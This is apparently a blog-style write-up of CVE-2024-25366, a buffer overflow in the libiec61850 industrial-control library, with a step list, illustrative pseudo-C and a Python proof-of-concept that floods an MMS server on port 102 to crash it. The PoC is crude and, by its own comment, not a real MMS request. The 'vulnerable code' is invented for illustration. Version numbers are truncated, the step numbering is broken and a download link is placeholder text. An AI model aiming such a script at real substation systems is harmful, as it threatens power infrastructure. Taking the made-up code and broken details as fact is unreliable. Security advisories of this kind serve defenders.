Date: June 2024
Vulnerability Type: Buffer Overflow
CVSS Score: 8.6 (High)
Product: mz-automation.de libiec61850 v.1.4.
Component: mms_getnamelist_service (mmsServer_handleGetNameListRequest function)
Impact: Remote Denial of Service (DoS)

Introduction

In February 2024, security researchers discovered a Buffer Overflow vulnerability in the libiec61850 library by mz-automation.de. This flaw allows remote attackers to crash affected server software just by sending a crafted "GetNameList" MMS (Manufacturing Message Specification) request.

This post breaks down CVE-2024-25366 in simple language: where it happens, why it’s dangerous, and how attackers can exploit it. We'll see sample code, original references, and a proof-of-concept (PoC) exploit to demonstrate the risks.

What is libiec61850?

libiec61850 is an open-source C library for implementing IEC 61850 server and client applications. IEC 61850 is widely used in electrical substation automation systems — systems that control, monitor, and protect electricity substations.

What is MMS (Manufacturing Message Specification)?

MMS is a network protocol defined by the ISO for communication between devices in industrial automation environments. The protocol supports complex data models and requests like "GetNameList", which fetches lists of object names from a server.

About the Vulnerability (CVE-2024-25366)

A buffer overflow occurs when software writes more data than a memory buffer can handle, corrupting memory and causing crashes (sometimes even code execution).

In this case, the function mmsServer_handleGetNameListRequest does not check input length correctly when parsing MMS "GetNameList" requests. If the attacker sends a specially crafted request, they can overflow a buffer.

Where does it occur?

In the source code (libiec61850 v1.4.), the vulnerable function is called when the server tries to handle the GetNameList MMS service.

Sample snippet from the vulnerable code (pseudo-C)

void
mmsServer_handleGetNameListRequest(...) {
    char objectNamesBuffer[256];
    // ... process incoming request payload
    int count = readObjectNames(..., objectNamesBuffer, ...);
    // If count is not checked, and attacker controls its value -- overflow!
    // Further processing with possibly corrupted objectNamesBuffer
}

If readObjectNames copies more than 256 bytes into objectNamesBuffer (using data controlled by the attacker), a buffer overflow happens.

Discover the target — Find a device running an MMS server with libiec61850 v1.4..

2. Send a specially crafted GetNameList request — The request includes a very large number or long strings to overflow the buffer.
3. Buffer overflow occurs in objectNamesBuffer when the function tries to copy too much data into a fixed-size space.
4. Process crashes — Result: denial of service. In some cases, with careful shaping, the buffer overflow could also be used for arbitrary code execution, but that has not yet been confirmed here.

Proof-of-Concept (PoC) Exploit

The following Python script demonstrates how an attacker might exploit this issue. It sends an oversized MMS GetNameList request to a vulnerable target.

> Note: This is for educational purposes only. Do not use without authorization!

import socket

# Replace with the IP of your target MMS server
TARGET_IP = '192.168.1.100'
TARGET_PORT = 102  # Default MMS port

# Minimal MMS GetNameList request (dummy header)
def create_overflow_getnamelist():
    # This is a simplified sample; real requests need full MMS ASN.1 structure
    payload = bytearray()
    # Fake ISO layer header for ASN.1 MMS GetNameList service
    payload.extend(b'\x30\x82\x01\x00')  # ASN.1 header (length may vary)
    # Fill with excessive data (e.g., 512 bytes of 'A's instead of 256)
    payload.extend(b'A' * 512)
    return bytes(payload)

def send_exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET_IP, TARGET_PORT))
    exploit_pkt = create_overflow_getnamelist()
    print(f"[+] Sending {len(exploit_pkt)} bytes to target to cause buffer overflow...")
    s.sendall(exploit_pkt)
    # Wait for response or close
    s.close()
    print("[+] Exploit sent. Service may now crash (DoS) if vulnerable.")

if __name__ == '__main__':
    send_exploit()

Mitigation

- Upgrade: mz-automation has released libiec61850 v1.5. (and later) with the buffer overflow fixed.
- Patch Now: If you use this library upgrade immediately. Download latest here

CVE advisory:

- NVD: CVE-2024-25366

Vendor advisory:

- mz-automation Security Advisory

Commit fixing issue:

- GitHub Patch

General info:

- libiec61850 project page

Final Thoughts

CVE-2024-25366 shows how dangerous buffer overflows can be, especially in industrial systems. Even simple bugs can result in major outages or pave the way for worse attacks. Always keep software up-to-date, limit network exposure, and monitor for unusual activity on critical services.

If your industrial setup depends on libiec61850, now is the time to make sure you're safe. Patch, segment, and move forward!

Timeline

Published on: 02/20/2024 16:15:10 UTC
Last modified on: 08/16/2024 18:35:06 UTC